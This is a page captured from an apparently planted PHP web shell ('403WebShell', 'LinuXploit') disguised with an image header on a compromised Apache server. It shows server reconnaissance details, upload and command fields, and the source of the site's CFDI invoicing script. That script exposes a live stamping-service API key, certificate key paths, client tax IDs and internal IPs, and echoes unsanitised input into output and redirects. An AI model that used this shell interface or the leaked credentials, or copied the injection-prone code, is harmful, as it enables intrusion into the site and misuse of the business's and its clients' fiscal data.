����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.147.48.161
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/goldencar/sae/application/salesFactura_M/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/goldencar/sae/application/salesFactura_M/factura4.php
<?php
session_start();
ini_set('display_errors', 1);
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
require_once 'nusoap/nusoap.php';
include 'heredoc_txt.php';
		
setlocale(LC_TIME, 'es_MX.UTF-8');
date_default_timezone_set("America/Mexico_City");

require_once ("../model/dbconn.php");
		require_once ("../model/pos.php");


 echo $sale1= $_POST['id_sales'];
 //datos del cliente
 $client_name = $_POST['client_name'];
  $client_rfc = $_POST['rfc'];
 $FormaPago = $_POST['FormaPago'];
  $uso_cfdi= $_POST['uso_cfdi'];
  $notapdf = $_POST['nota'];
  $posForma= new pos();
  $FormaPago = $posForma->getFormakId($FormaPago)[1]['def'];
  $hoy = date("F j, Y, g:i a");   
  //consultamos los datos del cliente en tabla customer
		
		

/*
$sale1=6342;
$sale1='J221221013'; 
$client_name="XOCHILT CASAS CHAVEZ";
$client_rfc = 'CACX7605101P8';
$uso_cfdi= 'G03';
$FormaPago = '01';
$notapdf = 'NA';
$client_id = 1;
 $hoy = date("F j, Y, g:i a");   
 */

		$client = new pos();
		$client_regimen = $client->getClientByRFC($client_rfc)[1]['phone'];
		$client_codigo = $client->getClientByRFC($client_rfc)[1]['country'];
		$mailC = $client->getClientByRFC($client_rfc)[1]['email1'];
		//print_r($client->getClientByRFC($client_rfc));
		
//revisamos el id de sell
$posSell_id = new pos();
$sells = $posSell_id->getListSellTemp($sale1);
//print_r($sells[1]); 
//
//insertamos los registros de cada folio  en temp_sale
	$pos = new pos();
	$operations=new pos();
		$operation23 = array();
	foreach($sells[1] as $venta){
		
		
		$operation23 = $operations->getOperations($venta['sale_id']);
		
		//print_r($operation23[1]);
		
		foreach($operation23[1] as $item){
			//echo $item['id_item'];
			
			$check = $pos->getCheckProduk(20,$sale1,$item['id_item']);
			 $jum = $check[1];
			
			if($jum >=1)
				{
					
					$update = $pos->updateTempSell(20,$sale1,$item['id_item'], $item['qty']);
					 $retval['result'] = $update[0];
					$retval['error'] = $update[1];
					$retval['mensaje'] = "Actualiza.".$item['id_item'] ;		
					//echo json_encode($retval['mensaje']);
				}
				else
				{
					$tempSale = $pos->saveTempSale(20,$sale1,$item['id_item'],$item['barcode'],$item['unit'],$item['item_name'],$item['qty'],$item['price'],0,0);
					echo $retval['result'] = $tempSale[0];
					$retval['error'] = $tempSale[1];
					$retval['mensaje'] = "Registro.".$item['id_item'] ;	
					echo json_encode($retval['mensaje']);
				}
				
		
		}
	}
	
		
$respuesta='';

  $nombre_fichero = '/var/www/html/sdk2/timbrados/cfdi_factura_'.$sale1.'.pdf'; // Obtenemos la ruta al archivo de tu BD



if (!file_exists($nombre_fichero)) {
			
		if(isset($sale1))
		{	
			//ajustamos saldo updateSettingSaldo
						$updateSaldo = new pos();
						$saldox = $updateSaldo->updateSettingSaldo('Saldo-Fact'); 
						
			//revisamos saldo
						$posConfig = new pos();
							$saldo = $posConfig->getByPreffix("Saldo-Fact")[1]['val']; 
							
			//libreria de sdk2.php multifacturas
						$posSDK = new pos();
					     $lib_sdk = $posSDK->getByPreffix("lib_sdk")[1]['val']; 
											
						
			//folio de tabla facturacion
						$posFolioF = new pos();
						$FolioF = $posFolioF->getByFacturaMax();
						
						if($FolioF[1]['id'] > 0){
							 $FolioFactura = $FolioF[1]['id'] + 1;
						}else{
							 $FolioFactura = 1;
						}
			//verificamos el folio de venta en tabla facturas para ver si ya existe
						
							//solicitamos timbrado de factura
							
							$posConfig = new pos();
							//impuesto general
							$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
							//usuario multifacturas real
							$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
							//pass multifacturas real
							$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
							//detalles
							 $ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
							 $ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
							$settingsEmisor = $posConfig->getByPreffix('name_val')[1]['val']; 
							$settingsCP = $posConfig->getByPreffix('cp_val')[1]['val']; 
							$RegimenDemo = $posConfig->getByPreffix('Regimen_sat')[1]['val']; 
							$CodigoSatGenerico = $posConfig->getByPreffix('Sat_val')[1]['val']; 
							$settingsUnidadSat = $posConfig->getByPreffix('Sat_val_Unidad')[1]['val']; 
							$RFC_demo_Emisor = $posConfig->getByPreffix('rfc_val')[1]['val'];
							$RFC_nombre_Emisor = $posConfig->getByPreffix('name_val')[1]['val'];
							$PassDemoMulti= $posConfig->getByPreffix('Pass_Sat_demo')[1]['val'];
							$logo = $posConfig->getByPreffix('report_image')[1]['val']; 
							$emailPrincipal = $posConfig->getByPreffix('admin_email')[1]['val']; 
							//facturacion real SI(real)/NO(demo)
							$FacturacionReal = $posConfig->getByPreffix('demo_fac')[1]['val']; 
							
							
							
								  
								//***************** INICIA FUNCIONES MULTIFACTURAS*********************//
								
									//ejemplo factura cfdi 4.0

											// Se desactivan los mensajes de debug
											//error_reporting(0);
											//error_reporting(E_ALL);

											// Se especifica la zona horaria
											date_default_timezone_set('America/Mexico_City');

											// Se incluye el SDK
												require_once '../../../sdk2/sdk2.php';

											// Se especifica la version de CFDi 4.0
											$datos['version_cfdi'] = '4.0';

											// Ruta del XML Timbrado
											$datos['cfdi']='../../../sdk2/timbrados/cfdi_factura_'.$sale1.'.xml';

											// Ruta del XML de Debug
											$datos['xml_debug']='../../../sdk2/timbrados/sin_timbrar_factura_'.$sale1.'.xml';

											// Credenciales de Timbrado
											$datos['PAC']['usuario'] = ''.$userMulti.'';
											$datos['PAC']['pass'] = ''.$passMulti.'';
											$datos['PAC']['produccion'] = ''.$FacturacionReal.'';

											$datos['conf']['cer'] = '../../../sdk2/certificados/nvo/'.$ArchCerDemo.'';
											$datos['conf']['key'] = '../../../sdk2/certificados/nvo/'.$ArchKeyDemo.'';
											$datos['conf']['pass'] = ''.$PassDemoMulti.'';
														

											//datos de Emisor
														$datos['emisor']['rfc'] = ''.$RFC_demo_Emisor.''; //RFC DE PRUEBA
														$datos['emisor']['nombre'] = "".$settingsEmisor."";  // EMPRESA DE PRUEBA
														$datos['emisor']['RegimenFiscal'] = ''.$RegimenDemo.'';

											// Datos del Receptor
														$datos['receptor']['UsoCFDI'] = $uso_cfdi;
														$datos['receptor']['rfc'] = $client_rfc;
														$datos['receptor']['nombre'] = utf8_encode($client_name);
														$datos['receptor']['DomicilioFiscalReceptor'] = $client_codigo;
														$datos['receptor']['RegimenFiscalReceptor'] = $client_regimen;

										
												
											// Se agregan los conceptos de todos los folios de ventas	
											
												$operations=new pos();
												$operation23 = array();
												$operation23 = $operations->getListTempSale(20,$sale1);			
												//print_r($operation23);
												//die;
													$i=0;
													$impuesto=0;
													$subtotal=0;
													$subtotal0=0;
													$subtotal8=0;
													$subtotal16=0;
													$banderaCero = 1;
													foreach($operation23[1] as $operation){
														//echo $venta['sale_id'];
														
															//print_r($operation['id_item']);
																
																$pos = new pos();
																$result = array();
																$query = $pos->getItem($operation['id_item']);
																$data = $query[1];
																
																//print_r($data);
															echo '//////////////';	
															
															
																$result['tax'] = $data['tax'];
																$result['type_tax'] = $data['type_tax'];
																
																	
																	if($result['tax'] == 8){
																		$price_sin = number_format($operation['price']/1.08,2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}elseif($result['tax'] == 16){
																			 $price_sin = number_format($operation['price']/1.16,2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}else{
																		$price_sin = number_format($operation['price'],2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}
															if($result['tax']==0 && $result['type_tax']=="Exento" ){		
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																//'50211503' codigo sat
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Exento';
															}
															
															if($result['tax']==0){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';

																$importe = floatval(preg_replace('/[^\d.]/', '', $price_sin*$operation['qty']));
																
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $importe;
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.000000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = 0.00;
																
																//agregamos el producto tasa cero
																$valor0 = $price_sin*$operation['qty'];
																$valor = 0.00;
																$banderaCero=2;
																echo $subtotal0 = $subtotal0 + ($valor0);
															}

															//PRODUCTO CON TASA 16 o 8
															if($result['tax']==8){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';
																
																$valor1 = number_format(($price_sin*$operation['qty'])*0.080000,2);
																$valor1 = floatval(preg_replace('/[^\d.]/', '', $valor1));
																$valor0 = number_format($price_sin*$operation['qty'],2);
																
																$importe = floatval(preg_replace('/[^\d.]/', '', $price_sin*$operation['qty']));

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $importe;
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.080000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
																$impuesto = $impuesto + $valor1;

																$subtotal8 = $subtotal8 + ($price_sin*$operation['qty']);
															}
															
															if($result['tax']==16){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';
																
																$valor1 = number_format(($price_sin*$operation['qty'])*0.160000,2);
																$valor1 = floatval(preg_replace('/[^\d.]/', '', $valor1));
																$valor0 = number_format($price_sin*$operation['qty'],2);
																
																$importe = floatval(preg_replace('/[^\d.]/', '', $price_sin*$operation['qty']));
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $importe;
																
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
																$impuesto = $impuesto + $valor1;	
																
																$subtotal16 = $subtotal16 + ($price_sin*$operation['qty']);
															}
																
																$subtotal = $subtotal + ($price_sin*$operation['qty']);
																
																$total = $subtotal + $impuesto ; 
																
																//echo "-------------------------------";
																//echo $valor1;
																$i=$i+1;	
														
														
														if($impuesto > 0){			
															// Se agregan los Impuestos SOLO EL QUE TIENE TASA >0 16 u 8
															if($result['tax']==8){	
																$datos['impuestos']['translados'][0]['Base'] = $subtotal8;
																$datos['impuestos']['translados'][0]['impuesto'] = '002';
																$datos['impuestos']['translados'][0]['tasa'] = '0.080000';
																$datos['impuestos']['translados'][0]['importe'] = $impuesto;
																$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
															}
															if($result['tax']==16){	
																$datos['impuestos']['translados'][0]['Base'] = $subtotal16;
																$datos['impuestos']['translados'][0]['impuesto'] = '002';
																$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
																$datos['impuestos']['translados'][0]['importe'] = $impuesto;
																$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
															}
																//tasa cero
																if( $banderaCero == 2){
																	
																	$datos['impuestos']['translados'][1]['Base'] = $subtotal0;
																	$datos['impuestos']['translados'][1]['impuesto'] = '002';
																	$datos['impuestos']['translados'][1]['tasa'] = '0.000000';
																	$datos['impuestos']['translados'][1]['importe'] = 0.00;
																	$datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa';
																}
														}else{
																$datos['impuestos']['translados'][1]['Base'] = $subtotal0;
																$datos['impuestos']['translados'][1]['impuesto'] = '002';
																$datos['impuestos']['translados'][1]['tasa'] = '0.000000';
																$datos['impuestos']['translados'][1]['importe'] = 0.00;
																$datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa';
															}
														
													}
											
											//termina folios for
														//total de impuestos
														$impuesto = floatval(preg_replace('/[^\d.]/', '', $impuesto));
														$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;

											// Datos de la Factura
											$datos['factura']['condicionesDePago'] = 'CONTADO';
											$datos['factura']['descuento'] = '0.00';
											$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
											$datos['factura']['folio'] = $FolioFactura;
											$datos['factura']['forma_pago'] =  $FormaPago;
											$datos['factura']['LugarExpedicion'] = $settingsCP;
											$datos['factura']['metodo_pago'] = 'PUE';
											$datos['factura']['moneda'] = 'MXN';
											$datos['factura']['serie'] = 'A';
											
											$notapdf ="Factura Masiva";
											$datos['factura']['nota'] = $notapdf ;
											
											$subtotal = floatval(preg_replace('/[^\d.]/', '', $subtotal));

											$datos['factura']['subtotal'] =$subtotal;
											
											
											$datos['factura']['tipocambio'] = 1;
											$datos['factura']['tipocomprobante'] = 'I';
											$datos['factura']['total'] = $subtotal + $impuesto;
											$datos['factura']['Exportacion'] = '01';

												//asignamos los valores para insertarlos en la tabla subtotal e impuestos
														$subtotal1 = $subtotal;
														$impuesto1 = $impuesto;
									
										
									echo '<pre>';
									 print_r($datos);
									echo '</pre>';
									
								//die;		
									//borramos la tabla temporal temp_sale usuario id = 20(venta masiva)
													
													
													
											
									//verificamos que se guardo registro de prefactura status = 3;
									
									
														# CREACIÓN DEL OBJETO DEL API DE CONEXION
											try{
												//MODO PRUEBAS
												//$url = 'https://dev.timbradorxpress.mx/ws/servicio.do?wsdl'; // EndPoint del servicio
						
												//MODO PRODUCTIVO
												$url = 'https://app.timbradorxpress.mx/ws/servicio.do?wsdl';
										
												generateTxt($datos, $uuid=uniqid('', true));}
											catch (Exception $e){
												echo "Error: ";
												echo $e->getMessage();
										
											}
											$objConexion = new SoapClient($url); // Creación del objeto de conexión
										
										
										# PARÁMETROS DEL MÉTODO
										$apikey = '1713b6cb8fa04b6385ebeb4bdbca013e'; // Credencial o apikye del servicio pruebas
										$arc_JSON2 = file_get_contents($uuid.'.txt'); //Mandamos a traer el archivo TXT
										$jsonBase64 = base64_encode($arc_JSON2);
										
										
										//ruta CERTIFICADOS NAVA
										$keyPEM = file_get_contents('rsc_txt/nvo/CSD_MATRIZ_AUVJ701110R87_20220106_192337.key.pem'); // Archivo .key en formato PEM
										$cerPEM = file_get_contents('rsc_txt/nvo/00001000000510734282.cer.pem'); // Archivo .cer en formato PEM
										
										
										//ruta CETIFICADOS 8%
										//$keyPEM = file_get_contents('rsc_txt/NAVA/CSD_Sucursal_1_CACX7605101P8_20230509_130254.key.pem');
										//$cerPEM = file_get_contents('rsc_txt/NAVA/CSD_Sucursal_1_CACX7605101P8_20230509_130254.cer.pem');
										
										$plantilla = '1'; //Indicamos el numero de plantilla para la representación grafica PDF
										$logo = file_get_contents('rsc_txt/logo34_1.jpg');
										$logo64 = base64_encode($logo);
										//Consumimos el metodo JSON2 del Servicio WEB
										$res = $objConexion->timbrarTXT2($apikey, $jsonBase64, $keyPEM, $cerPEM, $plantilla, $logo64);
										
										
										
										//NO CONSUME TIMBRES
										$saldo = $objConexion->consultarCreditosDisponibles($apikey);
										/*
											echo 'code: ' . $saldo->code . '<br>';
											echo 'message: ' . $saldo->message . '<br><br>';
										*/
										
										# RESPUESTA DEL SERVICIO
										echo 'code: ' . $res->code . '<br>';
										echo 'message: ' . $res->message . '<br><br>';

										/*
										200 - Solicitud procesada con éxito.
										307 - El CFDI contiene un timbre previo.
										 */

											$codigo= $res->code;
											$name_codigo= $res->message;	
											$id=$FolioFactura;
											
													//Cuando sea codigo "200" o "307"(timbre duplicado) se guardaran los archivos XML y PDF
												if ($res->code == '200' ) {
													
																 $emailPrincipal=$posConfig->getByPreffix('admin_email')[1]['val']; ;
																 
																	$posClient= new pos();
																	$mailC = $posClient->getClientByRFC($client_rfc)[1]['email1'];	
																if(empty($mailC)){
																	$mail = $emailPrincipal;
																}else{
																	$mail = $mailC;
																}
																 
																 $rfc=$client_rfc;
																 $sell_id=$id;
																 $sale_id=$sale1;
																 $total=$subtotal + $impuesto;
																 $iva=$impuestoBD;
																 $name=$client_name;
																 $user_id =  $_SESSION['pos_id'];
																
																// Se crea el objeto de la respuesta del Servicio.
																$dataOBJ = json_decode($res->data);
																//definimos los nameSpace para remplazarlos
																$namespaces_remplazo = array(
																	'cfdi:', 'xmlns:', 'xsi:', 'oxml:', 'ns3:', 'ns9:', 'ns8:',
																	'S:', 'dig:', 'res:', 'wsu:', 'wsse:', 'ns3:', 'wsu:', 'soapenv:', 'env:',
																	'oxml:', '<![CDATA[', ']]>', 'tfd:', 'divisas:', 'ine:', 'iedu:', 'detallista:', 'ventavehiculos:', 'cce11:', 'leyendasFisc:',
																	'aerolineas:', 'donat:', 'notariospublicos:', 'servicioparcial:', 'vehiculousado:', 'detallista:', 'terceros:', 'implocal:', 'pfic:');
																//Se realiza el remplazo de los nameSpace del atributo XML
																$xmlclean = str_replace($namespaces_remplazo, "", $dataOBJ->xml);
																$xml = simplexml_load_string($xmlclean);
																$json = json_encode($xml);
																$obj = json_decode($json);
																//recorremos el objeto de datos para extraer la informacion del atributo UUID
																echo $uuid = $obj->{'Complemento'}->{'TimbreFiscalDigital'}->{'@attributes'}->{'UUID'};

																// Creamos los archivos con la extencion .xml y .pdf de la respuesta obtenida del parametro "date"
																file_put_contents('../../../sdk2/timbrados/cfdi_factura_' . $sale1 . '.xml', $dataOBJ->xml); //archivo XML
																file_put_contents('../../../sdk2/timbrados/cfdi_factura_' . $sale1 . '.pdf', base64_decode($dataOBJ->pdf)); //Archivo PDF
															
																//enviamos PARA ACTUALIZAR REGISTRO FACTURA GENERADA
													
																	//eliminams sell temp
																
																	$posDe = new pos();
																	$deleteS = $posDe->deleteSellTempByUniqid($sale1);
																	echo json_encode($deleteS);
																	
																	
																	
																	//borramos de la tabla temp_sale
																	$posD = new pos();
																	$delete = $posD->deleteTempSaleByUser(6);
																	echo json_encode($delete);
															
																			$posClient= new pos();
																	
																	if(empty($mailC)){
																		$mailC = $emailPrincipal;
																	}	
																	//ID DE FACTURA MASIVA
																	 $user_id =  6;
																	
																	
																	 //$total = $subtotal + $impuesto;
																	
																	//$pos = new pos();	
																	$insert = $pos->saveFacturaSellM($mailC,$uuid,$client_rfc,$sale1,$sale1, $subtotal, $impuesto ,$total,8,$client_name,$user_id);
																	$result['result'] = true;
																	$result['error'] ="Esperando registro en Factura M ...";
																	echo json_encode($result);
																	
																	if($deleteS['result'] == 1){
																		//print "<script>window.location='./basica11.php?uuid=$uuid&id=$sell_id&rfc=$client_rfc&name=$client_name&sale1=$sale_id';</script>";
																		echo "<script>window.location='http://18.217.242.216/pos36/application/salesFactura_M/facturaGen.php?uuid=$uuid&sale_id=$sale1&rfc=$client_rfc&name=$client_name';</script>";
																			
																	}else{
																		echo "Error Detalle(Verifique Factura MASIVA): ".$retval['error'];
																	}
															
													}else{
														//error sale id
														$sale_id=$sale1;
														
														//enviamos el error que se registro 
																$codigo= $res->code;
																$name_codigo= $res->message;
																$cliente= $client_name;
																$pos = new pos();
																$insert = $pos->saveErrorCFDI( $sale_id,$codigo,$name_codigo );
																$retval['result'] = $insert[0];
																$retval['error'] = $insert[1];
																
														
																
															echo "<h1>Respuesta Error </h1>";
															//print "<script>window.location='./errFact.php?uuid=$codigo&name_codigo=$name_codigo&id=$id';</script>";	
													}
									
									
								
						//}
			
		}else{
			//error de folio de venta no encontrado
				$result['result'] = false;
				$result['error'] = 'Error folio de venta no Encontrado';
				echo json_encode($result);
				
				$respuesta = $result['error'];
				 
				
				//generamos error log de falla
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
									
			   echo "<script>window.location='http://18.217.242.216/pos36/application/salesFactura4.0S1/errFact.php?error=$respuesta&$uuid=$name_codigo';</script>";
																
									
		}	

	}else{
			//error de folio de venta no encontrado
				$result['result'] = false;   
				$result['error'] = 'No se Puede Timbrar dos veces un folio';
				$respuesta = $result['error'];
				echo json_encode($result);
				
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
				
				
			     echo "<script>window.location='http://18.217.242.216/pos36/application/salesFactura4.0S1/errFact.php?error=$respuesta&$uuid=$name_codigo';</script>";
							
}			
	


	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit